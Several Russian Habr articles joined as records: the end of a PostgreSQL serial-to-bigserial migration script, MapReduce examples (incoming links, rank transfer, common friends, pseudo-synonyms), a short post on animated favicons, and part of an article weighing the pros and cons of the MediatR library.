При этом все внешние ключи будут пересозданы с признаком "невалидности", хотя все данные под ними заведомо корректны. Жить это не мешает ровно никак, но если очень хочется отвалидировать FK настолько сильно, что мы даже готовы на `ExclusiveLock`, что заблокирует **даже чтение из таблицы**, пока вся она будет перечитываться, то делаем так:
```
ALTER TABLE tblfk
VALIDATE CONSTRAINT tblfk_fk_fkey;
```
Что мы забыли?
--------------
Приведенный выше код вполне работает, но только в простейших случаях.
#### Связанные объекты
В базе достаточно просто увидеть, на кого ссылается сама таблица, но весьма сложно обнаружить, **кто ссылается на нее**. Чтобы ничего не пропустить, напишем запрос, который их все найдет и подготовит скрипт для дальнейшей замены полей.
Тут мы встречаем нескольких персонажей, чьи имена мы нигде ранее не упоминали, не задавали, и потому знать не можем:
* `tblpk_pkey` - имя ограничения первичного ключа
* `tblfk_fk_fkey` - имя ограничения внешнего ключа
* `tblpk_pk_seq` - имя serial-последовательности
Собственно, их имена могли быть как присвоены автоматически самим PostgreSQL, так и заданы владельцами базы - поэтому достоверно ориентироваться на то, что они окажутся именно такими, мы не можем.
#### Сложные индексы
Аналогично, мы исходили из предположения, что индексы у нас самые простые, из единственного поля и без всяких условий. Но FK-индекс запросто может иметь вид `tblfk(fk) WHERE fk IS NOT NULL`, чтобы `NULL`-строки не замусоривали его, а PK включать в себя и другие поля, кроме `serial`.
#### Действия внешних ключей
Внешние ключи также могут быть определены существенно более сложно, чем в нашей модели - там может оказаться что-то вроде `MATCH PARTIAL INITIALLY DEFERRED` или `ON DELETE SET NULL ON UPDATE RESTRICT`.
#### Триггеры
Удалив каскадно старый столбец, мы снесли также и copy-триггер. А что если он был не один на этом поле?..
#### Имена и комментарии
Имя индекса внешнего ключа мы восстанавливали "по наитию", но нет абсолютно никакой гарантии, что оно совпадает с именем FK-ограничения.
А еще мы забыли восстановить комментарии объектов, которые могли быть наложены через `COMMENT ON`.
Скрипт миграции
---------------
По этим причинам самый правильный вариант - использовать **генерирующий запрос**, который сформирует скрипт миграции для всех связанных таблиц. Чтобы понять, почему же он получается настолько сложным, представим связи наших объектов графически:
* sequence ссылается на поле через `OWNED BY`, а оно обратно через `DEFAULT`
* индексы и триггеры ссылаются на поле напрямую
* FK-constraint связывает поля пары таблиц и уникальный индекс на ведущей таблице
* и все это может быть откомментировано
Создадим для теста максимально-проблемную для переноса ситуацию - сложные имена таблиц и полей, комментарии, триггеры и "хитрые" именованные FK:
```
CREATE TABLE "1st table"(
"primary key col"
serial
PRIMARY KEY
, valx
integer
);
COMMENT ON COLUMN "1st table"."primary key col"
IS 'col-comment';
INSERT INTO "1st table"(valx)
SELECT generate_series(1, 1e5);
CREATE TABLE "2nd table"(
fk
integer
CONSTRAINT "FK-name" REFERENCES "1st table"
ON UPDATE SET NULL
ON DELETE RESTRICT
, valy
integer
);
COMMENT ON CONSTRAINT "FK-name" ON "2nd table"
IS 'con-comment';
INSERT INTO "2nd table"(fk, valy)
SELECT (random() * (1e5 - 1))::integer + 1, generate_series(1, 1e5);
CREATE INDEX "FK-idx-name" ON "2nd table"(fk);
COMMENT ON INDEX "FK-idx-name"
IS 'idx-comment';
CREATE OR REPLACE FUNCTION tmp() RETURNS trigger AS $$
BEGIN
RAISE NOTICE 'NEW : %', NEW::text;
END $$ LANGUAGE plpgsql;
CREATE TRIGGER tmp AFTER INSERT OR UPDATE OF "primary key col"
ON "1st table"
FOR EACH ROW
EXECUTE PROCEDURE tmp();
COMMENT ON TRIGGER tmp ON "1st table"
IS 'trg-comment';
```
Ну, а теперь дело за малым! Вот наш скрипт:
Скрипт расширения serial -> bigserial
```
-- $1 : '"1st table"' - с кавычками!
-- $2 : 'primary key col' - без кавычек!
WITH src(rel, fld) AS (
VALUES($1::regclass, $2::name)
)
, fld AS (
SELECT
*
FROM
src
JOIN
pg_attribute at
ON (at.attrelid, at.attname) = (src.rel, src.fld)
)
, idx AS (
SELECT
idx.*
FROM
fld
JOIN
pg_index idx
ON indrelid = attrelid AND
indkey::smallint[] && ARRAY[attnum]
)
, con AS (
SELECT
CASE contype
WHEN 'p' THEN attnum
WHEN 'f' THEN conkey[array_position(confkey, attnum)]
END idkey
, con.*
FROM
fld
JOIN
pg_constraint con
ON (conrelid = attrelid AND conkey && ARRAY[attnum]) OR
(confrelid = attrelid AND confkey && ARRAY[attnum])
)
-- столбцы, входящие в PK или FK
, colkey AS (
SELECT
*
, attrelid::regclass::text _attrel
, '_' || md5(attname) _attname
, quote_ident(attname) _qiattname
, replace(col_description(attrelid, attnum), '''', '''''') dsccol
FROM
con
INNER JOIN
pg_attribute at
ON (attrelid, attnum) = (conrelid, idkey)
WHERE
atttypid <> 'bigint'::regtype
)
, code_col AS (
SELECT
string_agg(
$$-- $$ || _attrel || $$
ALTER TABLE $$ || _attrel || $$
ADD COLUMN $$ || _attname || $$ bigint;
$$ ||
CASE
WHEN dsccol IS NOT NULL THEN
$$COMMENT ON COLUMN $$ || _attrel || '.' || _attname || $$
IS '$$ || dsccol || $$';
$$
ELSE ''
END ||
$$CREATE TRIGGER copy
BEFORE INSERT OR UPDATE OF $$ || _qiattname || $$
ON $$ || _attrel || $$
FOR EACH ROW
EXECUTE PROCEDURE copy_fld('$$ || attname || $$', '$$ || _attname || $$');
UPDATE $$ || _attrel || $$ SET $$ || _attname || $$ = $$ || _qiattname || $$ WHERE $$ || _attname || $$ IS NULL; -- лучше сегментно!!!
$$
, ''
) code
FROM
colkey
)
-- индексы
, indkey AS (
SELECT
*
, quote_ident('_' || md5(sch || '.' || rel || '.' || idxname)) _idxname
FROM
(
SELECT
pg_get_indexdef(indexrelid) def
, cli.relnamespace::regnamespace::text sch
, idx.indrelid::regclass::text rel
, quote_ident(cli.relname) idxname
, replace(obj_description(cli.oid, 'pg_class'), '''', '''''') dscidx
, *
FROM
colkey
JOIN
pg_index idx
ON indrelid = attrelid AND
indkey::smallint[] && ARRAY[attnum]
JOIN
pg_class cli
ON cli.oid = idx.indexrelid
) T
)
, code_idx AS (
SELECT
string_agg(
E'-- ' || idxname || E'\n' ||
regexp_replace(
regexp_replace(
def
, E'(CREATE(?: UNIQUE)? INDEX ).*?( ON ).*?( USING )'
, E'\\1CONCURRENTLY ' || _idxname || E'\n ON ' || sch || '.' || rel || E'\n USING '
)
, E'(USING \\S+ \\(.*)' || _qiattname || E'(.*\\))'
, E'\\1' || _attname || E'\\2'
, 'g'
) || E';\n'
|| CASE
WHEN dscidx IS NOT NULL THEN
$$COMMENT ON INDEX $$ || _idxname || $$
IS '$$ || dscidx || $$';
$$
ELSE ''
END
, ''
) code
FROM
indkey
)
-- тфблицы
, code_rel AS (
SELECT
$q$-- зачищаем мешающие autovacuum
SELECT
pg_terminate_backend(pid)
FROM
pg_stat_activity sa
WHERE
CASE
WHEN backend_type = 'autovacuum worker' THEN
EXISTS(
SELECT
NULL
FROM
pg_locks
WHERE
locktype = 'relation' AND
relation = ANY('$q$ || array_agg(rel)::text || $q$'::regclass[])
)
END;
-- блокируем все таблицы
LOCK TABLE $q$ || string_agg(rel, ', ') || $q$ IN ACCESS EXCLUSIVE MODE NOWAIT;
$q$ code
FROM
(
SELECT DISTINCT
_attrel rel
FROM
colkey
) T
)
-- последовательность
, seqkey AS (
SELECT
pg_get_serial_sequence(attrelid::regclass::text, attname) seq
, *
FROM
colkey
)
, code_seq AS (
SELECT
$q$ALTER SEQUENCE $q$ || seq || $q$
OWNED BY $q$ || _attrel || '.' || _attname || $q$;
ALTER SEQUENCE $q$ || seq || $q$
NO MAXVALUE;
$q$
FROM
seqkey
WHERE
seq IS NOT NULL
)
-- столбцы
, code_col_tx AS (
SELECT
string_agg(
$$-- $$ || _attrel || $$
ALTER TABLE $$ || _attrel || $$
DROP COLUMN $$ || _qiattname || $$ CASCADE;
ALTER TABLE $$ || _attrel || $$
RENAME COLUMN $$ || _attname || $$ TO $$ || _qiattname || $$;
$$ ||
CASE
WHEN adsrc IS NOT NULL THEN
$$ALTER TABLE $$ || _attrel || $$
ALTER COLUMN $$ || _qiattname || $$
SET DEFAULT $$ || adsrc || $$;
$$
ELSE ''
END
, ''
) code
FROM
colkey
LEFT JOIN
pg_attrdef ad
ON (adrelid, adnum) = (attrelid, attnum)
)
-- индексы
, code_idx_tx AS (
SELECT
string_agg(
$$ALTER INDEX $$ || _idxname || $$
RENAME TO $$ || idxname || $$;
$$
, '')
FROM
indkey
)
-- ключи
, code_con_tx AS (
SELECT
string_agg(
(
SELECT
string_agg(
'ALTER TABLE ' || conrelid::regclass::text || E'\n ADD ' ||
CASE con.contype
WHEN 'p' THEN
'PRIMARY KEY USING INDEX ' || idxname
WHEN 'u' THEN
'UNIQUE USING INDEX ' || idxname
WHEN 'f' THEN
'CONSTRAINT ' || quote_ident(con.conname) || ' ' || pg_get_constraintdef(con.oid) || CASE WHEN pg_get_constraintdef(con.oid) !~* 'NOT VALID' THEN E'\n NOT VALID' ELSE '' END
END || E';\n' ||
CASE
WHEN obj_description(con.oid, 'pg_constraint') IS NOT NULL THEN
$$COMMENT ON CONSTRAINT $$ || quote_ident(conname) || $$ ON $$ || conrelid::regclass::text || $$
IS '$$ || replace(obj_description(con.oid, 'pg_constraint'), '''', '''''') || $$';
$$
ELSE ''
END
, ''
ORDER BY
CASE con.contype
WHEN 'p' THEN 0
WHEN 'u' THEN 1
WHEN 'f' THEN 2
END
)
FROM
pg_constraint con
WHERE
conindid = indexrelid
)
, ''
) code
FROM
indkey
)
-- триггеры
, trgkey AS (
SELECT
pg_get_triggerdef(trg.oid) def
, replace(obj_description(trg.oid, 'pg_trigger'), '''', '''''') dsctrg
, *
FROM
colkey
JOIN
pg_trigger trg
ON tgrelid = attrelid AND
tgattr::smallint[] && ARRAY[attnum]
WHERE
NOT tgisinternal
)
, code_trg AS (
SELECT
string_agg(
def || E';\n'
|| CASE
WHEN dsctrg IS NOT NULL THEN
$$COMMENT ON TRIGGER $$ || quote_ident(tgname) || $$ ON $$ || _attrel || $$
IS '$$ || dsctrg || $$';
$$
ELSE ''
END
, ''
) code
FROM
trgkey
)
SELECT
E'-- столбцы\n' ||
(TABLE code_col) ||
E'\n-- индексы\n' ||
(TABLE code_idx) ||
E'\nBEGIN;\n' ||
regexp_replace(
(TABLE code_rel) ||
E'\n-- последовательность\n' ||
(TABLE code_seq) ||
E'\n-- столбцы\n' ||
(TABLE code_col_tx) ||
E'\n-- индексы\n' ||
(TABLE code_idx_tx) ||
E'\n-- ключи\n' ||
(TABLE code_con_tx) ||
E'\n-- триггеры\n' ||
(TABLE code_trg)
, E'^(.)'
, E' \\1'
, 'gm'
) ||
E'COMMIT;\n';
```
Надеюсь, когда-то этот скрипт пригодится и вам. | https://habr.com/ru/post/547740/ | null | ru | null |
# MapReduce: более продвинутые примеры, попробуем без зауми
Чтобы не откладывать в долгий ящик сразу порассказываю несколько других примеров для MapReduce, обещанные в топике "[MapReduce без зауми](http://habrahabr.ru/blogs/algorithm/103467/)". (Если не понимаете полностью что такое MapReduce — прочитайте тот топик сначала! Без него не разберетесь)
Поговорим тут о подсчетах национальностей в городах, средних оценках и приводах учеников, ТИЦ, PageRank, входящих ссылках, нишевых ключевых словах, словах-синонимах, социальных сетях и общих друзьях. Постараемся обойтись без математических знаков и зауми.
Однако тема сама по себе сложная и все же напрячь мозги придется. Когда поймете — будет очень просто.
#### Входящие ссылки
Допустим у нас есть Интернет. В Интернете есть исходящие ссылки.
Допустим на входе у нас есть такие данные об ИСХОДЯЩИХ ссылках, собранные нашим паучком:
`habrahabr.ru -> thematicmedia.ru, apple.ru, microsoft.com, ubuntu.com, yandex.ru
thematicmedia.ru -> habrahabr.ru, autokadabra.ru
autokadabra.ru -> habrahabr.ru, yandex.ru`
Т.е. мы знаем, что Хабр ссылается на Apple, MS, Ubuntu и Яндекс но кто ссылается на Хабр? Да, вопрос примитивный, но все же разложим на MapReduce. Дальше будет интереснее и этот пример понадобится.
Шаг «Map» (который мы пишем сами) делает следующее:
(Еще разок — если не понимаете о чем речь — прочитайте "[MapReduce без зауми](http://habrahabr.ru/blogs/algorithm/103467/)").
**Все что в примерах идет после "`//`" — это комментарий, только поясняет откуда взялось, к MapReduce не имеет прямого отношения.**
**`map("habrahabr.ru -> thematicmedia.ru, apple.ru, microsoft.com, ubuntu.com")`** ->
`["thematicmedia.ru", "habrahabr.ru"] // на thematicmedia.ru ВХОДИТ ссылка с habrahabr.ru
["apple.ru", "habrahabr.ru"]
.....`
**`map("thematicmedia.ru -> habrahabr.ru, autokadabra.ru")`** ->
`["habrahabr.ru", "thematicmedia.ru"]
["autokadabra.ru", "thematicmedia.ru"]
....`
Шаг «Reduce» не делает ничего, поскольку на входе мы уже получим такое:
`["autokadabra.ru", ["thematicmedia.ru"]]
["habrahabr.ru", ["thematicmedia.ru", "autokadabra.ru"]] <-- то, что мы искали
....`
Вот и ответ — ВХОДЯЩИЕ ссылки.
#### Какие сайты дают ТИЦ или PageRank?
Аааа, ТИЦ, священный грааль торговли ссылками (*circa* 2010). Возьмем некую условную единицу рейтинга и назовем ее MegaRank (это может быть ТИЦ, может быть PageRank и т.п. — разницы нет).
Предположим такую теорию — у каждого сайта есть определенный MegaRank, который он «передает» в каком-то количестве, либо «не передает» и вообще «убивает» MegaRank. Мы знаем только MegaRank конечных сайтов, как узнать кто из начальных сколько MegaRankа передает?
Опять имеем начальные данные сайт А имеет MegaRank 100 и входящие ссылки с сайтов B,C,D. Сайт B имеет MegaRank 0 (предполагаем что MegaRank «убит» плохими ссылками, поскольку не можем исключить эту теорию) и имеет входящие ссылки с сайтов A,D,E,F и так далее…
Разложим задачу так: Сайт А что-то получил от B,C,D, что стало равняться 100. Будем считать что каждый из B,C,D дал сайту A по **33** единицы MegaRank. Сайт B имеет убитый MegaRank, будем считать что его MegaRank = -500, а не нулю. Таким образом мы постараемся сильно занизить тех, кто «убивает» MegaRank (допустим это сайт A, на котором плохая реклама и он занижен поисковиками). Получается что каждый из сайтов A,D,E,F дал по -500/4 = **-125** единиц MegaRank'а сайту B.
Как посчитать входящие ссылки по исходящим — я выше уже описал, будем считать что это мы уже сделали…
Итак, имеем входные данные:
`A (100) <- B,C,D // на сайт А с MegaRank=100 ссылаются сайты B,C,D
B (-500) <- A,D,E`
Наш «Map» делает следующее:
A (100) < — B,C,D:
`B, 100/3 = 33 // сайт B передает 33 едининцы MegaRank исходя из ссылки с сайта B на сайт A
C, 33
D, 33`
B (-500) < — A,D,E,F:
`A, -500/4 = -125
D, -125
E, -125
F, -125`
На шаг Reduce приходит:
`A (-125) // в среднем ссылка с сайта "А" даст -125 единиц MegaRank
B (33)
C (33)
D (33, -125) // в среднем ссылка с сайта "D" даст 33-125 = -92 единиц MegaRank
E (-125)
F (-125)`
Reduce опять складывает все, получаем, что A — самый негодный сайт, как и E,F, которые в отсутствии других данных действительно ссылаются только на сайт с обнуленным MegaRank. А вот D, несмотря на то, что ссылается и на A и на B — «подозрительный», но лучше, чем просто A.
Теперь мы можем их выстроить в порядке убывания передаваемого MegaRank примером из [MapReduce без зауми](http://habrahabr.ru/blogs/algorithm/103467/) (сортировка по популярности).
Этот пример куда лучше показывает зачем нужен MapReduce — мы можем анализировать одновременно миллионы сайтов по миллиардам ссылок и на напороться на проблему ограниченной памяти даже на одной машине, и присоединить другие машины для большей параллельной мощности.
(И прежде чем Вы побежите спрашивать — да, проверял теорию на ТИЦе, да, работает :) мне просто этот ТИЦ без интереса как-то).
Таким образом — имея только данные об исходящих ссылках с сайтов и некий параметр (ТИЦ, PageRank) сайтов, на которые эти ссылки направлены — мы можем найти те сайты, которые хорошо передают этот параметр.
#### Процент населения в городах
Допустим у нас есть информация по районам городов, что в районе Gdetto города Gorod1 живет 150 русских, 190 белорусов, 3 удмурта, а в районе Tutto города Gorod1 живут 3 русских, 5 белорусов.
Теперь наша задача состоит в том, чтобы посчитать процент населения в городах (мы знаем в районах этих городов). Проблема? Районов миллионы, данные не сгруппированы по городам и все вместе не влезет в память…
Очень просто на MapReduce:
«Map»:
`map("в районе Gdetto города Gorod1 живет 150 русских, 190 белорусов, 3 удмурта")` ->
`"gorod1", [ (150, "русский"), (190, "белорус"), (3, "удмурт") ]`
`map("в районе Tutto города Gorod1 живут 3 русских, 5 белорусов")` ->
`"gorod1", [ (3, "русский"), (5, "белорус") ]`
`map("в районе Butto города Gorod2 живут 1 русский")` ->
`"gorod2", [ (1, "русский") ]`
«Reduce»:
На входе:
`"gorod1", [ (150, "русский"), (190, "белорус"), (3, "удмурт"), (3, "русский"), (5, "белорус") ]
// обратите внимание, что некоторые национальности повторяются - это надо будет учесть при сложении
"gorod2", [ (1, "русский") ]`
Думаю, что очевидно, что дальше просто можно сложить эти значения, которые вполне влезут уже в память и поделить на сумму человек в каждом городе.
Еще один вариант как это можно сделать — можете додумать сами.
#### У кого с кем хотя бы два общих друга?
Допустим A, B, C, D, E — выдуманные 30 миллионов пользователей социальной сети ПальцамиВРозетке. Допустим мы знаем что:
`А дружит с B, D, E
B дружит с A, D, E
C дружит с B, E`
Как нам найти у кого из них есть хотя бы два общих друга?
Очень просто на (догадайтесь?) MapReduce. Берем перебором каждую пару друзей для каждого человека и ставим на первое место.
«Map»:
`(B,D), A // у человека "А" есть в контактах пара друзей "человек B и человек D"
(B,E), A
(D,E), A
(A,D), B
(A,E), B
(D,E), B
(B,E), C`
«Reduce» получает (и ничего не делает, кроме как отбирает все строки в которых второй элемент имеет несколько значений):
`(A,D), (B) // пара друзей "A,D" только у человека "B" встречается
(A,E), (B)
(B,D), (A)
(B,E), (A,C) <-- ответ - пара друзей "B,E" встречается у "А" и у "С"
(D,E), (A,B) <-- ответ`
Ответ:
A и C имеют общих друзей B, E
A и B имеют общих друзей D, E
**Ахтунг!** Алгортим [O(n2)](http://ru.wikipedia.org/wiki/%C2%ABO%C2%BB_%D0%B1%D0%BE%D0%BB%D1%8C%D1%88%D0%BE%D0%B5_%D0%B8_%C2%ABo%C2%BB_%D0%BC%D0%B0%D0%BB%D0%BE%D0%B5), что для тех кто в танке — значит, что при большом объеме входных данных имеет хорошие шансы закончить работу чуть раньше, чем погаснет солнце. На самом деле, конечно раньше, но квадратичные алгоритмы — это плохо.
#### Найти нишевые тематики в ключевых словах
Допустим у нас есть некоторые ключевые слова:
`кофеварки бабрабабр
кофеварки
миля
ворота
ворота гаражные
ворота бабрабабр
кофеварки`
Допустим мы хотим среди них выделить то, о чем можно бы писать. Такой «нишевой» тематикой можно считать нечто, что имеет хотя бы пару разных ключевых слов с участием этого слова и сами по себе являются ключевым словом. Например «кофеварки» — это тематика, потому что «кофеварки» и «кофеварки бабрабабр», а вот «гаражные» — это не ниша, потому что сами по себе не являются ключевым словом. «Миля» тоже не «ниша», потому что не имеет разных ключевых слов, кроме себя. Ну как? Готовы посчитать это без MapReduce? :)
А это очень просто. Берем каждую строку и разбиваем на слова (лучше на н-граммы, но это уже сами). Для каждой из них выдаем «FULL», если это слово занимает всю строку, или «PART» если занимает только часть. Т.е. из примера выше:
«Map»:
`кофеварки, PART // получилось из "кофеварки бабрабабр"
бабрабабр, PART // получилось из "кофеварки бабрабабр"
кофеварки, FULL // получилось из "кофеварки"
миля, FULL
ворота, FULL
ворота, PART
гаражные, PART
ворота, PART
бабрабабр, FULL
кофеварки, FULL`
«Reduce» на вход получает:
`бабрабабр, (PART, FULL)
ворота, (FULL, PART, PART)
гаражные, (PART)
кофеварки, (PART, FULL, FULL)
миля, (FULL)`
Теперь просто смотрим где есть и PART и FULL: «бабрабабр», «ворота» и «кофеварки» — то, что мы искали — наши «ниши».
#### Поиск слов-псевдо-синонимов
Допустим у нас есть Интернет. Допустим там встречается много фраз, но среди них мы замечаем что есть такие фразы как «купил большой компьютер», «купил дорогой компьютер»… Тут мы задумываемся, что «дорогой» и «большой» — это псевдо-синонимы. Нам они нужны, чтобы делать плохосайт и зарабатывать WebCash, пока поисковая система Gotoooo не выкинет наш плохосайт.
Проблема в том, что тут слов-то миллиарды, памяти не хватит. Да и может оказаться «купил вчера компьютер», а «вчера» — совсем не «большой» и вообще оно тут случайно один раз затесалось… Что же делать? Какой же алгоритм использовать (ладно-ладно, уберите камни, я знаю что вы уже все догадались). Поехали!
Входные данные берем текст и прямо по порядку выбираем из него по три слова, для интереса оставлю только то, что нужно:
`"купил большой комп"
"купил вчера комп"
"купил дорогой комп"
"видел большой автомобиль"
"видел дорогой автомобиль"`
Этап 1 (нам нужен будет каскад из двух этапов):
«Map»:
`"купил * комп", "большой" // получилось из "купил большой комп"
"купил * комп", "вчера" // получилось из "купил вчера комп"
"купил * комп", "дорогой"
"видел * автомобиль", "большой"
"видел * автомобиль", "дорогой"`
Звездочка — это просто символ звездочка, что значит «любое слово тут», чтобы Reduce пришло вот такое:
`"купил * комп", ["большой", "вчера", "дорогой"]
// между словами "купил" и "комп" встречаются эти три слова
"видел * автомобиль", ["большой", "дорогой"]`
«Reduce» ничего не делает.
Этап 2 (каскада):
«Map» — на вход получает то, что написано чуть выше, а выдает пары перебором из вторых значений ([«большой», «вчера», «дорогой»]):
`большой, вчера // получилось из ["большой", "вчера", "дорогой"]
вчера, большой // получилось из ["большой", "вчера", "дорогой"]
большой, дорогой // получилось из ["большой", "вчера", "дорогой"]
дорогой, большой // получилось из ["большой", "вчера", "дорогой"]
вчера, дорогой // получилось из ["большой", "вчера", "дорогой"]
дорогой, вчера // получилось из ["большой", "вчера", "дорогой"]
большой, дорогой // получилось из ["большой", "дорогой"]
дорогой, большой // получилось из ["большой", "дорогой"]`
На Reduce они придут как:
`большой, (вчера, дорогой, дорогой)
вчера, (большой, дорогой)
дорогой, (большой, дорогой, большой)`
Не обращайте внимания что где-то кавычки есть, где-то нет — тайного смысла в этом нет, просто где-то поставил, где-то — нет.
Теперь «Reduce» остается только посчитать слова в скобках (второй элемент его аргумента), что вполне влезет в память и откинуть те элементы, что встречаются только один раз:
`большой - дорогой(2) // "большой" является псевдо-синонимом "дорогой", подтверждено 2 случаями
дорогой - большой(2)`
**Ахтунг!** Сложность O(n2) снова!
#### JOIN
Допустим мы имеем уже два MapReduce, которые нам надо объединить. Допустим один MapReduce нам считает среднюю оценку учеников в классе из десятка учительских журналов, а второй — количество приводов в ~~мил~~ полицию за последний год у учеников, исходя из данных от сотни полицейских участков. Как нам слить два MapReduce в один результат… проще говоря сделать INNER JOIN или OUTER JOIN.
Сделайте так, чтобы первый MapReduce выдавал (оценка):
`Петя, ("оценка", 3.5)`
А второй MapReduce выдавал (приводы):
`Петя, ("приводов", 2)`
Затем все это прямо передавайте прямо подряд:
`Петя, ("оценка", 3.5)
Петя, ("приводов", 2)`
Тогда на «reduce» получите:
`Петя, [ ("оценка", 3.5), ("приводов", 2) ]`
#### Вместо заключения
Ясное дело, что MegaRankи, ниши, друзья, синонимы, нации, двоечники — далеко не единственное применение MapReduce, но пока, думаю этого вам хватит, чтобы начать думать как его применять. Я нашел ему очень много применений и использую постоянно.
Как я уже и говорил — практически ЛЮБОЙ SQL запрос раскладывается на MapReduce, просто требуется немного тренировки. Зачем? Затем, чтобы быстрее, да и не всегда нужные функции в SQL вообще есть. Например тот же генератор н-грамм (многословных словосочетаний) из входящей строки… Может я конечно и ошибаюсь, но в том, что MapReduce — офигительная и очень полезная (и при этом потрясающе заумно описанная в сети) штука — это факт. Надеюсь удалось и Вас затянуть в сети MapReduce.
[В прошлом топике](http://habrahabr.ru/blogs/algorithm/103467/) есть эталонная реализация (reference implementation) MapReduce на Python и PHP.
Йои Хаджи,
[Вид, как всегда, с Хабра](http://yoihj.habrahabr.ru/),
2010
(когда-нибудь я научусь объяснять кратко....) | https://habr.com/ru/post/103490/ | null | ru | null |
# Анимированные иконки сайта, только Firefox?
Что-то неверно с кодом? или только движок Mozilla отображает анимированые gif как favicons сайта?
Проверьте сайт [www.pokelondon.com](http://www.pokelondon.com)
[Проверено](http://www.favbrowser.com/animated-favicons-firefox-only/) в браузерах Internet Explorer 7, Firefox 2.0.0.6, Opera 9.23, Opera 9.5 Alpha, Safari 3.0.3 Beta и **только в Firefox элемент favicons отображался**.
А между прочим на **w3.org** в [стандарте](http://www.w3.org/2005/10/howto-favicon) написано:
> This document does not discuss in detail how to create a favicon image. However, the format for the image you have chosen must be 16x16 pixels or 32x32 pixels, using either 8-bit or 24-bit colors. The format of the image must be one of PNG (a W3C standard), GIF, or ICO.
С другой стороны написано «The format of the image...», ни слова animated | https://habr.com/ru/post/14079/ | null | ru | null |
# Зачем нужен MediatR?
Недавно я натолкнулся в нашем коде на использование пакета [MediatR](https://github.com/jbogard/MediatR/wiki). Это заинтересовало меня. Почему я должен использовать MediatR? Какие преимущества он мне предоставляет? Здесь я собираюсь рассмотреть эти вопросы.
### Как пользоваться MediatR
На базовом уровне использование MediatR очень просто. Сначала вы устанавливаете NuGet пакет [MediatR](https://www.nuget.org/packages/mediatr). В вашем приложении будет несколько описаний той работы, которую ему нужно выполнять (например, создать запись ToDo, изменить имя пользователя и т. д.). Эти описания в MediatR называются *запросами (requests)*. Это обычные классы, реализующие интерфейс `IRequest`. Он является маркер-интерфейсом без всяких членов.
```
class CreateToDoItem : IRequest
{
public string ToDoItemText { get; set; }
}
```
Эти классы могут не содержать никакой логики. Они представляют собой просто контейнеры данных, необходимых для выполнения операций.
Но что означает параметр `T` в интерфейсе `IRequest`? Видите ли, ваши операции могут возвращать некоторые результаты. Например, при создании записи ToDo вам может потребовать получить ID этой записи. Именно для этого и служит параметр `T`. В нашем случае, мы хотим получить целочисленный идентификатор записи ToDo.
Теперь нам нужен код, который, собственно, и будет выполнять нашу операцию. В MediatR этот код называется *обработчиком запроса (request handler)*. Обработчики запроса должны реализовывать интерфейс `IRequestHandler`, где `TRequest` должен быть `IRequest`:
```
class CreateToDoItemHandler : IRequestHandler
{
public Task Handle(CreateToDoItem request, CancellationToken cancellationToken)
{
...
}
}
```
Как видите, этот интерфейс требует реализовать единственный метод `Handle`, который асинхронно исполняет требуемую операцию и возвращает нужный результат.
Всё, что осталось нам сделать, это соединить запрос с соответствующим обработчиком. MediatR использует для этого контейнер зависимостей. Если вы разрабатываете приложение ASP.NET Core, вы можете воспользоваться пакетом [MediatR.Extensions.Microsoft.DependencyInjection](https://www.nuget.org/packages/MediatR.Extensions.Microsoft.DependencyInjection). Но MediatR поддерживает и [массу других контейнеров](https://github.com/jbogard/MediatR/wiki/Container-Feature-Support).
```
services.AddMediatR(typeof(Startup));
```
Здесь `services` - экземпляр интерфейса `IServiceCollection`, который обычно доступен вам в методе `ConfigureServices` класса `Startup`. Данная команда сканирует сборку, в которой определён класс `Startup`, и находит там все обработчики запросов.
Теперь вы можете выполнять ваши запросы. Для этого вам потребуется получить экземпляр интерфейса `IMediator`. Он регистрируется в вашем контейнере зависимостей той же командой `AddMediatR`.
```
var toDoItemId = await mediator.Send(createToDoItemRequest);
```
Вот и всё. MediatR найдёт соответствующий обработчик запроса, выполнит его и вернёт вам результат.
И здесь мы переходим к главному вопросу.
### Зачем мне нужен MediatR?
Давайте представим себе, что у нас есть ASP.NET Core контроллер, который поддерживает операции работы с записями ToDo. Мы сравним, как можно реализовать создание такой записи с использованием MediatR и без него. Вот как выглядит код без MediatR:
```
[ApiController]
public class ToDoController : ControllerBase
{
private readonly IToDoService _service;
public ToDoController(IToDoService service)
{
_service = service;
}
[HttpPost]
public async Task CreateToDoItem([FromBody] CreateToDoItem createToDoItemRequest)
{
var toDoItemId = await _service.CreateToDoItem(createToDoItemRequest);
return Ok(toDoItemId);
}
}
```
А вот так выглядит реализация, использующая MediatR:
```
[ApiController]
public class ToDoController : ControllerBase
{
private readonly IMediator _mediator;
public ToDoController(IMediator mediator)
{
_mediator = mediator;
}
[HttpPost]
public async Task CreateToDoItem([FromBody] CreateToDoItem createToDoItemRequest)
{
var toDoItemId = await _mediator.Send(createToDoItemRequest);
return Ok(toDoItemId);
}
}
```
Вы видите здесь какие-нибудь серьёзные преимущества MediatR? Я - нет. На самом деле мне кажется, что версия с MediatR чуть менее читабельна. Она использует обобщённый метод `Send` вместо более осмысленного `CreateToDoItem`.
Так зачем же мне использовать MediatR?
#### Ссылки
Прежде всего, MediatR отделяет обработчики запросов от самих запросов. В коде контроллера вы нигде не ссылаетесь на класс `CreateToDoItemHandler`. Это означает, что вы можете двигать этот класс в пределах одной сборки как вам угодно, и вам не потребуется ничего изменять в вашем контроллере.
Но лично я не вижу здесь большого преимущества. Да, вам будет удобнее выполнять некоторые изменения в вашем проекте. Но в то же время вы получите и ряд трудностей. Из кода вашего контроллера вы не можете видеть, кто в действительности выполняет ваш запрос. Чтобы найти обработчик для экземпляра `CreateToDoItem`, вы должны знать, что такое MediatR, и как он работает. Здесь нет ничего особенно сложного. В конце концов, `IToDoService` так же не является реализацией обработчика, вам приходится искать классы, реализующие данный интерфейс. Тем не менее у новичка уйдёт больше времени, чтобы понять, что здесь происходит.
#### Единственная ответственность
Следующее отличие более важно. Видите ли, ваш обработчик запросов - это класс. И весь этот класс ответственен за выполнение единственной операции. В случае же сервиса (например, `IToDoService`), за выполнение одной операции ответственен один метод. Это означает, что сервис может содержать множество различных методов, ответственных за разные операции. Всё это усложняет понимание кода сервиса. С другой стороны, весь класс обработчика запроса отвечает только за одну операцию. Это делает данный класс меньше и легче для понимания.
Всё это, конечно, здорово, но реальность несколько сложнее. Обычно вам нужно поддерживать несколько связанных операций (например, создать запись, обновить её, изменить статус записи, ...) Все эти операции могут требовать выполнения одинаковых кусков кода. В случае сервиса вы можете вынести этот код в приватный метод. Но обработчики запросов - отдельные классы. Конечно, мы можем использовать наследование и вынести всё, что нужно, в базовый класс. Но это возвращает нас к той же, если не худшей ситуации. В случае сервиса, у нас было множество методов внутри одного класса. Теперь у нас есть множество методов, раскиданных по нескольким классам. Не уверен, какой из вариантов лучше.
